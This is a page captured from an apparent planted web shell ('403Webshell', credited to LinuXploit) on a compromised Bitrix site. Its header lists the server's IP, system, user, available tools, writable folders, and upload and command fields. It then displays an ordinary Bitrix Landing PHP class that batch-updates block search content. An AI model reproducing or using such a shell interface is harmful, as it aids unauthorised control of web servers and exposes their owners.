403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/landing/lib/update/block/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/landing/lib/update/block/searchcontent.php
<?php
namespace Bitrix\Landing\Update\Block;

use \Bitrix\Landing\Block;
use \Bitrix\Landing\Internals\BlockTable;
use \Bitrix\Main\Update\Stepper;
use \Bitrix\Main\Config\Option;

class SearchContent extends Stepper
{
	/**
	 * Option code for store
	 */
	const OPTION_CODE = 'update_block_search_content';

	/**
	 * Module id for parent class.
	 * @var string
	 */
	protected static $moduleId = 'landing';

	/**
	 * One step of converter.
	 * @param array &$result Result array.
	 * @return bool
	 */
	public function execute(array &$result)
	{
		$lastId = Option::get('landing', self::OPTION_CODE, 0);

		$finished = true;

		// gets common quantity
		$res = BlockTable::getList([
			'select' => [
				new \Bitrix\Main\Entity\ExpressionField(
					'CNT', 'COUNT(*)'
				)
			]
		]);
		if ($row = $res->fetch())
		{
			$result['count'] = $row['CNT'];
		}

		// gets group of blocks for update
		$res = BlockTable::getList([
			'select' => [
				'ID',
				'SORT',
				'CODE',
				'ANCHOR',
				'ACTIVE',
				'PUBLIC',
				'DELETED',
				'CONTENT',
				'LID',
				'SITE_ID' => 'LANDING.SITE_ID',
			],
			'filter' => [
				'>ID' => $lastId
			],
			'order' => [
				'ID' => 'ASC'
			],
			'limit' => 20
		]);
		while ($row = $res->fetch())
		{
			$lastId = $row['ID'];
			$result['steps']++;

			$block = new Block($row['ID'], $row);
			$searchContent = $block->getSearchContent();

			if ($searchContent)
			{
				BlockTable::update($row['ID'], [
					'SEARCH_CONTENT' => $searchContent
				]);
			}

			$finished = false;
		}

		if (!$finished)
		{
			Option::set('landing', self::OPTION_CODE, $lastId);
			return true;
		}
		else
		{
			Option::delete('landing', ['name' => self::OPTION_CODE]);
			return false;
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit